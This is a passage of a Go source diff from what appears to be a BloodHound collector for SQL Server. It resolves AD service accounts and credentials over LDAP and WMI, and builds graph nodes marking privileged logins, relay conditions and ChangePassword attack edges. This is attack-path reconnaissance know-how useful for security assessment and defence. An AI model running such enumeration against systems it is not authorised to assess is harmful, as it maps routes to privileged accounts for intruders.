serverInfo.ServiceAccounts { + sa := serverInfo.ServiceAccounts[i] + + // Skip NT SERVICE\* virtual service accounts entirely + // PowerShell doesn't convert these to computer accounts - it just skips them + // because they can't be resolved in AD (they're virtual accounts) + if strings.HasPrefix(strings.ToUpper(sa.Name), "NT SERVICE\\") { + c.logVerbose("Skipping NT SERVICE virtual account: %s", sa.Name) + continue + } + + // Check if this is a built-in account that uses the computer account for network auth + // These DO get converted to computer accounts (LocalSystem, NT AUTHORITY\*) + isBuiltIn := sa.Name == "LocalSystem" || + strings.ToUpper(sa.Name) == "NT AUTHORITY\\SYSTEM" || + strings.ToUpper(sa.Name) == "NT AUTHORITY\\LOCAL SERVICE" || + strings.ToUpper(sa.Name) == "NT AUTHORITY\\LOCALSERVICE" || + strings.ToUpper(sa.Name) == "NT AUTHORITY\\NETWORK SERVICE" || + strings.ToUpper(sa.Name) == "NT AUTHORITY\\NETWORKSERVICE" + + if isBuiltIn { + // Convert to computer account (HOSTNAME$) + hostname := serverInfo.Hostname + // Strip domain from FQDN + if strings.Contains(hostname, ".") { + hostname = strings.Split(hostname, ".")[0] + } + computerAccount := strings.ToUpper(hostname) + "$" + + c.logVerbose("Converting built-in service account %s to computer account %s", sa.Name, computerAccount) + + sa.Name = computerAccount + sa.ConvertedFromBuiltIn = true // Mark as converted from built-in + + // If we already have the computer SID, use it + if serverInfo.ComputerSID != "" { + sa.SID = serverInfo.ComputerSID + sa.ObjectIdentifier = serverInfo.ComputerSID + c.logVerbose("Using known computer SID: %s", serverInfo.ComputerSID) + } + } + + // De-duplicate: only keep the first occurrence of each SID + key := sa.SID + if key == "" { + key = sa.Name // Use name if SID not resolved yet + } + if !seenSIDs[key] { + seenSIDs[key] = true + uniqueServiceAccounts = append(uniqueServiceAccounts, sa) + } else { + c.logVerbose("Skipping duplicate service account: %s (%s)", sa.Name, key) + } + } + + serverInfo.ServiceAccounts = uniqueServiceAccounts +} + +// resolveServiceAccountSIDsViaLDAP resolves service account SIDs via multiple methods +func (c *Collector) resolveServiceAccountSIDsViaLDAP(serverInfo *types.ServerInfo) { + for i := range serverInfo.ServiceAccounts { + sa := &serverInfo.ServiceAccounts[i] + + // Skip non-domain accounts (Local System, Local Service, etc.) + if !strings.Contains(sa.Name, "\\") && !strings.Contains(sa.Name, "@") && !strings.HasSuffix(sa.Name, "$") { + continue + } + + // Skip virtual accounts like NT SERVICE\* + if strings.HasPrefix(strings.ToUpper(sa.Name), "NT SERVICE\\") || + strings.HasPrefix(strings.ToUpper(sa.Name), "NT AUTHORITY\\") { + continue + } + + // Check if this is a computer account (name ends with $) + isComputerAccount := strings.HasSuffix(sa.Name, "$") + + // If we don't have a SID yet, try to resolve it + if sa.SID == "" { + // Method 1: Try Windows API first (most reliable on Windows) + c.logVerbose(" Resolving service account %s via Windows API", sa.Name) + sid, err := ad.ResolveAccountSIDWindows(sa.Name) + if err == nil && sid != "" && strings.HasPrefix(sid, "S-1-5-21-") { + sa.SID = sid + sa.ObjectIdentifier = sid + c.logVerbose(" Resolved service account SID via Windows API: %s", sid) + fmt.Printf(" Resolved service account SID for %s: %s\n", sa.Name, sa.SID) + } else { + c.logVerbose(" Windows API failed: %v", err) + } + } + + // For computer accounts, we need to look up the DNSHostName via LDAP + // PowerShell uses DNSHostName for computer account names (e.g., FORS13DA.ad005.onehc.net) + // instead of SAMAccountName (FORS13DA$) + if isComputerAccount && sa.SID != "" { + // First, check if this is the server's own computer account + // by comparing the SID with the server's ComputerSID + if sa.SID == serverInfo.ComputerSID && serverInfo.FQDN != "" { + // Use the server's own FQDN directly + oldName := sa.Name + sa.Name = serverInfo.FQDN + c.logVerbose(" Updated computer account name from %s to %s (server's own computer account)", oldName, sa.Name) + fmt.Printf(" Updated computer account name from %s to %s\n", oldName, sa.Name) + continue + } + + // For other computer accounts, try LDAP + if c.config.Domain != "" { + adClient := ad.NewClient(c.config.Domain, c.config.DomainController, c.config.SkipPrivateAddress, c.config.LDAPUser, c.config.LDAPPassword, c.getDNSResolver()) + principal, err := adClient.ResolveSID(sa.SID) + adClient.Close() + if err == nil && principal != nil && principal.ObjectClass == "computer" { + // Use the resolved name (which is DNSHostName for computers in our updated AD client) + oldName := sa.Name + sa.Name = principal.Name + sa.ResolvedPrincipal = principal + c.logVerbose(" Updated computer account name from %s to %s", oldName, sa.Name) + fmt.Printf(" Updated computer account name from %s to %s\n", oldName, sa.Name) + } + } + continue + } + + // If we still don't have a SID and this is not a computer account, try LDAP + if sa.SID == "" { + if c.config.Domain == "" { + fmt.Printf(" Note: Could not resolve service account %s (no domain specified)\n", sa.Name) + continue + } + + // Create AD client + adClient := ad.NewClient(c.config.Domain, c.config.DomainController, c.config.SkipPrivateAddress, c.config.LDAPUser, c.config.LDAPPassword, c.getDNSResolver()) + principal, err := adClient.ResolveName(sa.Name) + adClient.Close() + if err != nil { + fmt.Printf(" Note: Could not resolve service account %s via LDAP: %v\n", sa.Name, err) + continue + } + + sa.SID = principal.SID + sa.ObjectIdentifier = principal.SID + sa.ResolvedPrincipal = principal + // Also update the name if it's a computer + if principal.ObjectClass == "computer" { + sa.Name = principal.Name + } + fmt.Printf(" Resolved service account SID for %s: %s\n", sa.Name, sa.SID) + } + } +} + +// resolveCredentialSIDsViaLDAP resolves credential identities to AD SIDs +// This matches PowerShell's Resolve-DomainPrincipal behavior for credential edges +func (c *Collector) resolveCredentialSIDsViaLDAP(serverInfo *types.ServerInfo) { + if c.config.Domain == "" { + return + } + + // Helper to resolve a credential identity to a domain principal via LDAP. + // Attempts resolution for all identities (not just domain\user or user@domain format), + // matching PowerShell's Resolve-DomainPrincipal behavior. + resolveIdentity := func(identity string) *types.DomainPrincipal { + if identity == "" { + return nil + } + adClient := ad.NewClient(c.config.Domain, c.config.DomainController, c.config.SkipPrivateAddress, c.config.LDAPUser, c.config.LDAPPassword, c.config.DNSResolver) + principal, err := adClient.ResolveName(identity) + adClient.Close() + if err != nil || principal == nil || principal.SID == "" { + return nil + } + return principal + } + + // Resolve server-level credentials (mapped via ALTER LOGIN ... WITH CREDENTIAL) + for i := range serverInfo.ServerPrincipals { + if serverInfo.ServerPrincipals[i].MappedCredential != nil { + cred := serverInfo.ServerPrincipals[i].MappedCredential + if principal := resolveIdentity(cred.CredentialIdentity); principal != nil { + cred.ResolvedSID = principal.SID + cred.ResolvedPrincipal = principal + c.logVerbose(" Resolved credential %s -> %s", cred.CredentialIdentity, principal.SID) + } + } + } + + // Resolve standalone credentials (for HasMappedCred edges) + for i := range serverInfo.Credentials { + if principal := resolveIdentity(serverInfo.Credentials[i].CredentialIdentity); principal != nil { + serverInfo.Credentials[i].ResolvedSID = principal.SID + serverInfo.Credentials[i].ResolvedPrincipal = principal + c.logVerbose(" Resolved credential %s -> %s", serverInfo.Credentials[i].CredentialIdentity, principal.SID) + } + } + + // Resolve proxy account credentials + for i := range serverInfo.ProxyAccounts { + if principal := resolveIdentity(serverInfo.ProxyAccounts[i].CredentialIdentity); principal != nil { + serverInfo.ProxyAccounts[i].ResolvedSID = principal.SID + serverInfo.ProxyAccounts[i].ResolvedPrincipal = principal + c.logVerbose(" Resolved proxy credential %s -> %s", serverInfo.ProxyAccounts[i].CredentialIdentity, principal.SID) + } + } + + // Resolve database-scoped credentials + for i := range serverInfo.Databases { + for j := range serverInfo.Databases[i].DBScopedCredentials { + cred := &serverInfo.Databases[i].DBScopedCredentials[j] + if principal := resolveIdentity(cred.CredentialIdentity); principal != nil { + cred.ResolvedSID = principal.SID + cred.ResolvedPrincipal = principal + c.logVerbose(" Resolved DB scoped credential %s -> %s", cred.CredentialIdentity, principal.SID) + } + } + } +} + +// enumerateLocalGroupMembers finds local Windows groups that have SQL logins and enumerates their domain members via WMI +func (c *Collector) enumerateLocalGroupMembers(serverInfo *types.ServerInfo) { + if runtime.GOOS != "windows" { + c.logVerbose("Skipping local group enumeration (not on Windows)") + return + } + + serverInfo.LocalGroupsWithLogins = make(map[string]*types.LocalGroupInfo) + + // Get the hostname part for matching + serverHostname := serverInfo.Hostname + if idx := strings.Index(serverHostname, "."); idx > 0 { + serverHostname = serverHostname[:idx] // Get just the hostname, not FQDN + } + serverHostnameUpper := strings.ToUpper(serverHostname) + + for i := range serverInfo.ServerPrincipals { + principal := &serverInfo.ServerPrincipals[i] + + // Check if this is a local Windows group + if principal.TypeDescription != "WINDOWS_GROUP" { + continue + } + + isLocalGroup := false + localGroupName := "" + + // Check for BUILTIN groups (e.g., BUILTIN\Administrators) + if strings.HasPrefix(strings.ToUpper(principal.Name), "BUILTIN\\") { + isLocalGroup = true + parts := strings.SplitN(principal.Name, "\\", 2) + if len(parts) == 2 { + localGroupName = parts[1] + } + } else if strings.Contains(principal.Name, "\\") { + // Check for computer-specific local groups (e.g., SERVERNAME\Administrators) + parts := strings.SplitN(principal.Name, "\\", 2) + if len(parts) == 2 && strings.ToUpper(parts[0]) == serverHostnameUpper { + isLocalGroup = true + localGroupName = parts[1] + } + } + + if !isLocalGroup || localGroupName == "" { + continue + } + + // Enumerate members using WMI + members := wmi.GetLocalGroupMembersWithFallback(serverHostname, localGroupName, c.config.Verbose) + + // Convert to LocalGroupMember and resolve SIDs + var localMembers []types.LocalGroupMember + for _, member := range members { + lm := types.LocalGroupMember{ + Domain: member.Domain, + Name: member.Name, + } + + // Try to resolve SID + fullName := fmt.Sprintf("%s\\%s", member.Domain, member.Name) + if runtime.GOOS == "windows" { + sid, err := ad.ResolveAccountSIDWindows(fullName) + if err == nil && sid != "" { + lm.SID = sid + } + } + + // Fall back to LDAP if Windows API didn't work and we have a domain + if lm.SID == "" && c.config.Domain != "" { + adClient := ad.NewClient(c.config.Domain, c.config.DomainController, c.config.SkipPrivateAddress, c.config.LDAPUser, c.config.LDAPPassword, c.getDNSResolver()) + resolved, err := adClient.ResolveName(fullName) + adClient.Close() + if err == nil && resolved.SID != "" { + lm.SID = resolved.SID + } + } + + localMembers = append(localMembers, lm) + } + + // Store in server info + serverInfo.LocalGroupsWithLogins[principal.ObjectIdentifier] = &types.LocalGroupInfo{ + Principal: principal, + Members: localMembers, + } + } +} + +// generateOutput creates the BloodHound JSON output for a server +func (c *Collector) generateOutput(serverInfo *types.ServerInfo, outputFile string) error { + writer, err := bloodhound.NewStreamingWriter(outputFile) + if err != nil { + return err + } + defer writer.Close() + + // Create server node + serverNode := c.createServerNode(serverInfo) + if err := writer.WriteNode(serverNode); err != nil { + return err + } + + // Create linked server nodes (matching PowerShell behavior) + // If a linked server resolves to the same ObjectIdentifier as the primary server, + // merge the linked server properties into the server node instead of creating a duplicate. + createdLinkedServerNodes := make(map[string]bool) + for _, linkedServer := range serverInfo.LinkedServers { + if linkedServer.DataSource == "" || linkedServer.ResolvedObjectIdentifier == "" { + continue + } + if createdLinkedServerNodes[linkedServer.ResolvedObjectIdentifier] { + continue + } + + // If this linked server target is the primary server itself, skip creating a + // separate node — the properties were already merged into the server node above. + if linkedServer.ResolvedObjectIdentifier == serverInfo.ObjectIdentifier { + createdLinkedServerNodes[linkedServer.ResolvedObjectIdentifier] = true + continue + } + + // Extract server name from data source (e.g., "SERVER\INSTANCE,1433" -> "SERVER") + linkedServerName := linkedServer.DataSource + if idx := strings.IndexAny(linkedServerName, "\\,:"); idx > 0 { + linkedServerName = linkedServerName[:idx] + } + + linkedNode := &bloodhound.Node{ + Kinds: []string{bloodhound.NodeKinds.Server}, + ID: linkedServer.ResolvedObjectIdentifier, + Properties: make(map[string]interface{}), + } + linkedNode.Properties["name"] = linkedServerName + linkedNode.Properties["hasLinksFromServers"] = []string{serverInfo.ObjectIdentifier} + linkedNode.Properties["isLinkedServerTarget"] = true + linkedNode.Icon = &bloodhound.Icon{ + Type: "font-awesome", + Name: "server", + Color: "#42b9f5", + } + + if err := writer.WriteNode(linkedNode); err != nil { + return err + } + createdLinkedServerNodes[linkedServer.ResolvedObjectIdentifier] = true + } + + // Pre-compute databaseUsers for each login (matching PowerShell behavior). + // Maps login ObjectIdentifier -> list of "userName@databaseName" strings. + loginDatabaseUsers := make(map[string][]string) + for _, db := range serverInfo.Databases { + for _, principal := range db.DatabasePrincipals { + if principal.ServerLogin != nil && principal.ServerLogin.ObjectIdentifier != "" { + entry := fmt.Sprintf("%s@%s", principal.Name, db.Name) + loginDatabaseUsers[principal.ServerLogin.ObjectIdentifier] = append( + loginDatabaseUsers[principal.ServerLogin.ObjectIdentifier], entry) + } + } + } + + // Create server principal nodes + for _, principal := range serverInfo.ServerPrincipals { + node := c.createServerPrincipalNode(&principal, serverInfo, loginDatabaseUsers) + if err := writer.WriteNode(node); err != nil { + return err + } + } + + // Create database and database principal nodes + for _, db := range serverInfo.Databases { + dbNode := c.createDatabaseNode(&db, serverInfo) + if err := writer.WriteNode(dbNode); err != nil { + return err + } + + for _, principal := range db.DatabasePrincipals { + node := c.createDatabasePrincipalNode(&principal, &db, serverInfo) + if err := writer.WriteNode(node); err != nil { + return err + } + } + } + + // Create AD nodes (User, Group, Computer) if not skipped + if !c.config.SkipADNodeCreation { + if err := c.createADNodes(writer, serverInfo); err != nil { + return err + } + } + + // Create edges + if err := c.createEdges(writer, serverInfo); err != nil { + return err + } + + // Print grouped summary of skipped ChangePassword edges due to CVE-2025-49758 patch + c.skippedChangePasswordMu.Lock() + if len(c.skippedChangePasswordEdges) > 0 { + // Sort names for consistent output + var names []string + for name := range c.skippedChangePasswordEdges { + names = append(names, name) + } + sort.Strings(names) + + fmt.Println("Targets have securityadmin role or IMPERSONATE ANY LOGIN permission, but server is patched for CVE-2025-49758 -- Skipping ChangePassword edge for:") + for _, name := range names { + fmt.Printf(" %s\n", name) + } + // Clear the map for next server + c.skippedChangePasswordEdges = nil + } + c.skippedChangePasswordMu.Unlock() + + nodes, edges := writer.Stats() + fmt.Printf("Wrote %d nodes and %d edges\n", nodes, edges) + + return nil +} + +// createServerNode creates a BloodHound node for the SQL Server +func (c *Collector) createServerNode(info *types.ServerInfo) *bloodhound.Node { + props := map[string]interface{}{ + "name": info.SQLServerName, // Use consistent FQDN:Port format + "hostname": info.Hostname, + "fqdn": info.FQDN, + "sqlServerName": info.ServerName, // Original SQL Server name (may be short name or include instance) + "version": info.Version, + "versionNumber": info.VersionNumber, + "edition": info.Edition, + "productLevel": info.ProductLevel, + "isClustered": info.IsClustered, + "port": info.Port, + } + + // Add instance name + if info.InstanceName != "" { + props["instanceName"] = info.InstanceName + } + + // Add security-relevant properties + props["isMixedModeAuthEnabled"] = info.IsMixedModeAuth + if info.ForceEncryption != "" { + props["forceEncryption"] = info.ForceEncryption + } + if info.StrictEncryption != "" { + props["strictEncryption"] = info.StrictEncryption + } + if info.ExtendedProtection != "" { + props["extendedProtection"] = info.ExtendedProtection + } + + // Add SPNs + if len(info.SPNs) > 0 { + props["servicePrincipalNames"] = info.SPNs + } + + // Add service account name (first service account, matching PowerShell behavior). + // PS strips the domain prefix via Resolve-DomainPrincipal which returns bare SAMAccountName. + if len(info.ServiceAccounts) > 0 { + saName := info.ServiceAccounts[0].Name + if idx := strings.Index(saName, "\\"); idx != -1 { + saName = saName[idx+1:] + } + props["serviceAccount"] = saName + } + + // Add database names + if len(info.Databases) > 0 { + dbNames := make([]string, len(info.Databases)) + for i, db := range info.Databases { + dbNames[i] = db.Name + } + props["databases"] = dbNames + } + + // Add linked server names + if len(info.LinkedServers) > 0 { + linkedNames := make([]string, len(info.LinkedServers)) + for i, ls := range info.LinkedServers { + linkedNames[i] = ls.Name + } + props["linkedToServers"] = linkedNames + } + + // Check if any linked servers resolve back to this server (self-reference). + // If so, merge the linked server target properties into this node to avoid + // creating a duplicate node with the same ObjectIdentifier. + hasLinksFromServers := []string{} + for _, ls := range info.LinkedServers { + if ls.ResolvedObjectIdentifier == info.ObjectIdentifier && ls.DataSource != "" { + hasLinksFromServers = append(hasLinksFromServers, info.ObjectIdentifier) + break + } + } + if len(hasLinksFromServers) > 0 { + props["isLinkedServerTarget"] = true + props["hasLinksFromServers"] = hasLinksFromServers + } + + // Calculate domain principals with privileged access using effective permission + // evaluation (including nested role membership and fixed role implied permissions). + // This matches PowerShell's approach where sysadmin implies CONTROL SERVER. + domainPrincipalsWithSysadmin := []string{} + domainPrincipalsWithControlServer := []string{} + domainPrincipalsWithSecurityadmin := []string{} + domainPrincipalsWithImpersonateAnyLogin := []string{} + + for _, principal := range info.ServerPrincipals { + if !principal.IsActiveDirectoryPrincipal || principal.IsDisabled { + continue + } + + // Only include principals with domain SIDs (S-1-5-21--...) + // This filters out BUILTIN, NT AUTHORITY, NT SERVICE accounts + if info.DomainSID == "" || !strings.HasPrefix(principal.SecurityIdentifier, info.DomainSID+"-") { + continue + } + + // Use effective permission/role checks (including nested roles and fixed role implied permissions) + if c.hasNestedRoleMembership(principal, "sysadmin", info) { + domainPrincipalsWithSysadmin = append(domainPrincipalsWithSysadmin, principal.ObjectIdentifier) + } + if c.hasNestedRoleMembership(principal, "securityadmin", info) { + domainPrincipalsWithSecurityadmin = append(domainPrincipalsWithSecurityadmin, principal.ObjectIdentifier) + } + if c.hasEffectivePermission(principal, "CONTROL SERVER", info) { + domainPrincipalsWithControlServer = append(domainPrincipalsWithControlServer, principal.ObjectIdentifier) + } + if c.hasEffectivePermission(principal, "IMPERSONATE ANY LOGIN", info) { + domainPrincipalsWithImpersonateAnyLogin = append(domainPrincipalsWithImpersonateAnyLogin, principal.ObjectIdentifier) + } + } + + props["domainPrincipalsWithSysadmin"] = domainPrincipalsWithSysadmin + props["domainPrincipalsWithControlServer"] = domainPrincipalsWithControlServer + props["domainPrincipalsWithSecurityadmin"] = domainPrincipalsWithSecurityadmin + props["domainPrincipalsWithImpersonateAnyLogin"] = domainPrincipalsWithImpersonateAnyLogin + props["isAnyDomainPrincipalSysadmin"] = len(domainPrincipalsWithSysadmin) > 0 + + return &bloodhound.Node{ + ID: info.ObjectIdentifier, + Kinds: []string{bloodhound.NodeKinds.Server}, + Properties: props, + Icon: bloodhound.CopyIcon(bloodhound.Icons[bloodhound.NodeKinds.Server]), + } +} + +// createServerPrincipalNode creates a BloodHound node for a server principal +func (c *Collector) createServerPrincipalNode(principal *types.ServerPrincipal, serverInfo *types.ServerInfo, loginDatabaseUsers map[string][]string) *bloodhound.Node { + props := map[string]interface{}{ + "name": principal.Name, + "principalId": principal.PrincipalID, + "createDate": principal.CreateDate.Format(time.RFC3339), + "modifyDate": principal.ModifyDate.Format(time.RFC3339), + "SQLServer": principal.SQLServerName, + } + + var kinds []string + var icon *bloodhound.Icon + + switch principal.TypeDescription { + case "SERVER_ROLE": + kinds = []string{bloodhound.NodeKinds.ServerRole} + icon = bloodhound.CopyIcon(bloodhound.Icons[bloodhound.NodeKinds.ServerRole]) + props["isFixedRole"] = principal.IsFixedRole + if len(principal.Members) > 0 { + props["members"] = principal.Members + } + default: + // Logins (SQL_LOGIN, WINDOWS_LOGIN, WINDOWS_GROUP, etc.) + kinds = []string{bloodhound.NodeKinds.Login} + icon = bloodhound.CopyIcon(bloodhound.Icons[bloodhound.NodeKinds.Login]) + props["type"] = principal.TypeDescription + props["disabled"] = principal.IsDisabled + props["defaultDatabase"] = principal.DefaultDatabaseName + props["isActiveDirectoryPrincipal"] = principal.IsActiveDirectoryPrincipal + + if principal.SecurityIdentifier != "" { + props["activeDirectorySID"] = principal.SecurityIdentifier + // Resolve SID to NTAccount-style name (matching PowerShell's activeDirectoryPrincipal) + if principal.IsActiveDirectoryPrincipal { + props["activeDirectoryPrincipal"] = principal.Name + } + } + + // Add databaseUsers list (matching PowerShell behavior) + if dbUsers, ok := loginDatabaseUsers[principal.ObjectIdentifier]; ok && len(dbUsers) > 0 { + props["databaseUsers"] = dbUsers + } + } + + // Add role memberships + if len(principal.MemberOf) > 0 { + roleNames := make([]string, len(principal.MemberOf)) + for i, m := range principal.MemberOf { + roleNames[i] = m.Name + } + props["memberOfRoles"] = roleNames + } + + // Add explicit permissions + if len(principal.Permissions) > 0 { + perms := make([]string, len(principal.Permissions)) + for i, p := range principal.Permissions { + perms[i] = p.Permission + } + props["explicitPermissions"] = perms + } + + return &bloodhound.Node{ + ID: principal.ObjectIdentifier, + Kinds: kinds, + Properties: props, + Icon: icon, + } +} + +// createDatabaseNode creates a BloodHound node for a database +func (c *Collector) createDatabaseNode(db *types.Database, serverInfo *types.ServerInfo) *bloodhound.Node { + props := map[string]interface{}{ + "name": db.Name, + "databaseId": db.DatabaseID, + "createDate": db.CreateDate.Format(time.RFC3339), + "compatibilityLevel": db.CompatibilityLevel, + "isReadOnly": db.IsReadOnly, + "isTrustworthy": db.IsTrustworthy, + "isEncrypted": db.IsEncrypted, + "SQLServer": db.SQLServerName, + "SQLServerID": serverInfo.ObjectIdentifier, + } + + if db.OwnerLoginName != "" { + props["ownerLoginName"] = db.OwnerLoginName + } + if db.OwnerPrincipalID != 0 { + props["ownerPrincipalID"] = fmt.Sprintf("%d", db.OwnerPrincipalID) + } + if db.OwnerObjectIdentifier != "" { + props["OwnerObjectIdentifier"] = db.OwnerObjectIdentifier + } + if db.CollationName != "" { + props["collationName"] = db.CollationName + } + + return &bloodhound.Node{ + ID: db.ObjectIdentifier, + Kinds: []string{bloodhound.NodeKinds.Database}, + Properties: props, + Icon: bloodhound.CopyIcon(bloodhound.Icons[bloodhound.NodeKinds.Database]), + } +} + +// createDatabasePrincipalNode creates a BloodHound node for a database principal +func (c *Collector) createDatabasePrincipalNode(principal *types.DatabasePrincipal, db *types.Database, serverInfo *types.ServerInfo) *bloodhound.Node { + props := map[string]interface{}{ + "name": fmt.Sprintf("%s@%s", principal.Name, db.Name), // Match PowerShell format: Name@DatabaseName + "principalId": principal.PrincipalID, + "createDate": principal.CreateDate.Format(time.RFC3339), + "modifyDate": principal.ModifyDate.Format(time.RFC3339), + "database": principal.DatabaseName, // Match PowerShell property name + "SQLServer": principal.SQLServerName, + } + + var kinds []string + var icon *bloodhound.Icon + + // Add defaultSchema for all database principal types (matching PowerShell behavior) + if principal.DefaultSchemaName != "" { + props["defaultSchema"] = principal.DefaultSchemaName + } + + switch principal.TypeDescription { + case "DATABASE_ROLE": + kinds = []string{bloodhound.NodeKinds.DatabaseRole} + icon = bloodhound.CopyIcon(bloodhound.Icons[bloodhound.NodeKinds.DatabaseRole]) + props["isFixedRole"] = principal.IsFixedRole + if len(principal.Members) > 0 { + props["members"] = principal.Members + } + case "APPLICATION_ROLE": + kinds = []string{bloodhound.NodeKinds.ApplicationRole} + icon = bloodhound.CopyIcon(bloodhound.Icons[bloodhound.NodeKinds.ApplicationRole]) + default: + // Database users + kinds = []string{bloodhound.NodeKinds.DatabaseUser} + icon = bloodhound.CopyIcon(bloodhound.Icons[bloodhound.NodeKinds.DatabaseUser]) + props["type"] = principal.TypeDescription + if principal.ServerLogin != nil { + props["serverLogin"] = principal.ServerLogin.Name + } + } + + // Add role memberships + if len(principal.MemberOf) > 0 { + roleNames := make([]string, len(principal.MemberOf)) + for i, m := range principal.MemberOf { + roleNames[i] = m.Name + } + props["memberOfRoles"] = roleNames + } + + // Add explicit permissions + if len(principal.Permissions) > 0 { + perms := make([]string, len(principal.Permissions)) + for i, p := range principal.Permissions { + perms[i] = p.Permission + } + props["explicitPermissions"] = perms + } + + return &bloodhound.Node{ + ID: principal.ObjectIdentifier, + Kinds: kinds, + Properties: props, + Icon: icon, + } +} + +// createADNodes creates BloodHound nodes for Active Directory principals referenced by SQL logins +func (c *Collector) createADNodes(writer *bloodhound.StreamingWriter, serverInfo *types.ServerInfo) error { + createdNodes := make(map[string]bool) + + // Create Computer node for the server's host computer (matching PowerShell behavior) + if serverInfo.ComputerSID != "" { + // Build display name with domain + displayName := serverInfo.Hostname + if c.config.Domain != "" && !strings.Contains(displayName, "@") { + displayName = serverInfo.Hostname + "@" + c.config.Domain + } + + // Build SAMAccountName (hostname$) + hostname := serverInfo.Hostname + if idx := strings.Index(hostname, "."); idx > 0 { + hostname = hostname[:idx] // Extract short hostname from FQDN + } + samAccountName := strings.ToUpper(hostname) + "$" + + node := &bloodhound.Node{ + ID: serverInfo.ComputerSID, + Kinds: []string{bloodhound.NodeKinds.Computer, "Base"}, + Properties: map[string]interface{}{ + "name": displayName, + "DNSHostName": serverInfo.FQDN, + "domain": c.config.Domain, + "isDomainPrincipal": true, + "SID": serverInfo.ComputerSID, + "SAMAccountName": samAccountName, + }, + } + if err := writer.WriteNode(node); err != nil { + return err + } + createdNodes[serverInfo.ComputerSID] = true + } + + // Track if we need to create Authenticated Users node for CoerceAndRelayToMSSQL + needsAuthUsersNode := false + + // Check for computer accounts with EPA disabled (CoerceAndRelayToMSSQL condition) + if serverInfo.ExtendedProtection == "Off" { + for _, principal := range serverInfo.ServerPrincipals { + if principal.IsActiveDirectoryPrincipal && + strings.HasPrefix(principal.SecurityIdentifier, "S-1-5-21-") && + strings.HasSuffix(principal.Name, "$") && + !principal.IsDisabled { + needsAuthUsersNode = true + break + } + } + } + + // Create Authenticated Users node if needed + if needsAuthUsersNode { + authedUsersSID := "S-1-5-11" + if c.config.Domain != "" { + authedUsersSID = c.config.Domain + "-S-1-5-11" + } + + if !createdNodes[authedUsersSID] { + node := &bloodhound.Node{ + ID: authedUsersSID, + Kinds: []string{bloodhound.NodeKinds.Group, "Base"}, + Properties: map[string]interface{}{ + "name": "AUTHENTICATED USERS@" + c.config.Domain, + }, + } + if err := writer.WriteNode(node); err != nil { + return err + } + createdNodes[authedUsersSID] = true + } + } + + // Resolve domain login SIDs via LDAP for AD enrichment (matching PowerShell behavior). + // This provides properties like SAMAccountName, distinguishedName, DNSHostName, etc. + resolvedPrincipals := make(map[string]*types.DomainPrincipal) + if c.config.Domain != "" { + adClient := ad.NewClient(c.config.Domain, c.config.DomainController, c.config.SkipPrivateAddress, c.config.LDAPUser, c.config.LDAPPassword, c.getDNSResolver()) + for _, principal := range serverInfo.ServerPrincipals { + if !principal.IsActiveDirectoryPrincipal || principal.SecurityIdentifier == "" { + continue + } + if !strings.HasPrefix(principal.SecurityIdentifier, "S-1-5-21-") { + continue + } + if _, already := resolvedPrincipals[principal.SecurityIdentifier]; already { + continue + } + resolved, err := adClient.ResolveSID(principal.SecurityIdentifier) + if err == nil && resolved != nil { + resolvedPrincipals[principal.SecurityIdentifier] = resolved + } + } + adClient.Close() + } + + // Create nodes for domain principals with SQL logins + for _, principal := range serverInfo.ServerPrincipals { + if !principal.IsActiveDirectoryPrincipal || principal.SecurityIdentifier == "" { + continue + } + + // Only process SIDs from the domain, skip NT AUTHORITY, NT SERVICE, and local accounts + // The DomainSID (e.g., S-1-5-21-462691900-2967613020-3702357964) identifies domain principals + if serverInfo.DomainSID == "" || !strings.HasPrefix(principal.SecurityIdentifier, serverInfo.DomainSID+"-") { + continue + } + + // Skip disabled logins and those without CONNECT SQL + if principal.IsDisabled { + continue + } + + // Check if has CONNECT SQL permission + hasConnectSQL := false + for _, perm := range principal.Permissions { + if perm.Permission == "CONNECT SQL" && (perm.State == "GRANT" || perm.State == "GRANT_WITH_GRANT_OPTION") { + hasConnectSQL = true + break + } + } + // Also check if member of sysadmin or securityadmin (they have implicit CONNECT SQL) + if !hasConnectSQL { + for _, membership := range principal.MemberOf { + if membership.Name == "sysadmin" || membership.Name == "securityadmin" { + hasConnectSQL = true + break + } + } + } + if !hasConnectSQL { + continue + } + + // Skip if already created + if createdNodes[principal.SecurityIdentifier] { + continue + } + + // Determine the node kind based on the principal name + var kinds []string + if strings.HasSuffix(principal.Name, "$") { + kinds = []string{bloodhound.NodeKinds.Computer, "Base"} + } else if strings.Contains(principal.TypeDescription, "GROUP") { + kinds = []string{bloodhound.NodeKinds.Group, "Base"} + } else { + kinds = []string{bloodhound.NodeKinds.User, "Base"} + } + + // Build the display name with domain + displayName := principal.Name + if c.config.Domain != "" && !strings.Contains(displayName, "@") { + displayName = principal.Name + "@" + c.config.Domain + } + + nodeProps := map[string]interface{}{ + "name": displayName, + "isDomainPrincipal": true, + "SID": principal.SecurityIdentifier, + } + + // Enrich with LDAP-resolved AD attributes (matching PowerShell behavior) + if resolved, ok := resolvedPrincipals[principal.SecurityIdentifier]; ok { + nodeProps["SAMAccountName"] = resolved.SAMAccountName + nodeProps["domain"] = resolved.Domain + nodeProps["isEnabled"] = resolved.Enabled + if resolved.DistinguishedName != "" { + nodeProps["distinguishedName"] = resolved.DistinguishedName + } + if resolved.DNSHostName != "" { + nodeProps["DNSHostName"] = resolved.DNSHostName + } + if resolved.UserPrincipalName != "" { + nodeProps["userPrincipalName"] = resolved.UserPrincipalName + } + } + + node := &bloodhound.Node{ + ID: principal.SecurityIdentifier, + Kinds: kinds, + Properties: nodeProps, + } + if err := writer.WriteNode(node); err != nil { + return err + } + createdNodes[principal.SecurityIdentifier] = true + } + + // Create nodes for local groups with SQL logins + // This handles both BUILTIN groups (S-1-5-32-*) and machine-local groups + // (S-1-5-21-* SIDs that don't match the domain SID, e.g. ConfigMgr_DViewAccess) + for _, principal := range serverInfo.ServerPrincipals { + if principal.SecurityIdentifier == "" { + continue + } + + // Identify local groups: BUILTIN (S-1-5-32-*) or machine-local Windows groups + // Machine-local groups have S-1-5-21-* SIDs belonging to the machine, not the domain + isLocalGroup := false + if strings.HasPrefix(principal.SecurityIdentifier, "S-1-5-32-") { + isLocalGroup = true + } else if principal.TypeDescription == "WINDOWS_GROUP" && + strings.HasPrefix(principal.SecurityIdentifier, "S-1-5-21-") && + (serverInfo.DomainSID == "" || !strings.HasPrefix(principal.SecurityIdentifier, serverInfo.DomainSID+"-")) { + isLocalGroup = true + } + if !isLocalGroup { + continue + } + + // Skip disabled logins + if principal.IsDisabled { + continue + } + + // Check if has CONNECT SQL permission + hasConnectSQL := false + for _, perm := range principal.Permissions { + if perm.Permission == "CONNECT SQL" && (perm.State == "GRANT" || perm.State == 